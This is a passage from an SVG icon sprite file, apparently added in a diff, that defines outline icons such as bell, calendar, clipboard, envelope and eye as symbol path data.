2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z"></path> + </symbol> + <symbol id="arrow-alt-circle-up" viewBox="0 0 512 512"> + <path d="M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z"></path> + </symbol> + <symbol id="bell" viewBox="0 0 448 512"> + <path d="M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z"></path> + </symbol> + <symbol id="bell-slash" viewBox="0 0 640 512"> + <path d="M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"></path> + </symbol> + <symbol id="bookmark" viewBox="0 0 384 512"> + <path d="M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z"></path> + </symbol> + <symbol id="building" viewBox="0 0 448 512"> + <path d="M128 148v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z"></path> + </symbol> + <symbol id="calendar" viewBox="0 0 448 512"> + <path d="M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z"></path> + </symbol> + <symbol id="calendar-alt" viewBox="0 0 448 512"> + <path d="M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="calendar-check" viewBox="0 0 448 512"> + <path d="M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z"></path> + </symbol> + <symbol id="calendar-minus" viewBox="0 0 448 512"> + <path d="M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="calendar-plus" viewBox="0 0 448 512"> + <path d="M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="calendar-times" viewBox="0 0 448 512"> + <path d="M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="caret-square-down" viewBox="0 0 448 512"> + <path d="M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="caret-square-left" viewBox="0 0 448 512"> + <path d="M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="caret-square-right" viewBox="0 0 448 512"> + <path d="M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="caret-square-up" viewBox="0 0 448 512"> + <path d="M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="chart-bar" viewBox="0 0 512 512"> + <path d="M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z"></path> + </symbol> + <symbol id="check-circle" viewBox="0 0 512 512"> + <path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z"></path> + </symbol> + <symbol id="check-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z"></path> + </symbol> + <symbol id="circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> + </symbol> + <symbol id="clipboard" viewBox="0 0 384 512"> + <path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z"></path> + </symbol> + <symbol id="clock" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z"></path> + </symbol> + <symbol id="clone" viewBox="0 0 512 512"> + <path d="M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z"></path> + </symbol> + <symbol id="closed-captioning" viewBox="0 0 512 512"> + <path d="M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z"></path> + </symbol> + <symbol id="comment" viewBox="0 0 512 512"> + <path d="M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"></path> + </symbol> + <symbol id="comment-alt" viewBox="0 0 512 512"> + <path d="M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z"></path> + </symbol> + <symbol id="comment-dots" viewBox="0 0 512 512"> + <path d="M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"></path> + </symbol> + <symbol id="comments" viewBox="0 0 576 512"> + <path d="M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z"></path> + </symbol> + <symbol id="compass" viewBox="0 0 496 512"> + <path d="M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"></path> + </symbol> + <symbol id="copy" viewBox="0 0 448 512"> + <path d="M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"></path> + </symbol> + <symbol id="copyright" viewBox="0 0 512 512"> + <path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z"></path> + </symbol> + <symbol id="credit-card" viewBox="0 0 576 512"> + <path d="M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z"></path> + </symbol> + <symbol id="dizzy" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z"></path> + </symbol> + <symbol id="dot-circle" viewBox="0 0 512 512"> + <path d="M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z"></path> + </symbol> + <symbol id="edit" viewBox="0 0 576 512"> + <path d="M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z"></path> + </symbol> + <symbol id="envelope" viewBox="0 0 512 512"> + <path d="M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z"></path> + </symbol> + <symbol id="envelope-open" viewBox="0 0 512 512"> + <path d="M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z"></path> + </symbol> + <symbol id="eye" viewBox="0 0 576 512"> + <path d="M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z"></path> + </symbol> + <symbol id="eye-slash" viewBox="0 0 640 512"> + <path d="M634 471L36 3.51A16 16 0 0 0 13.51 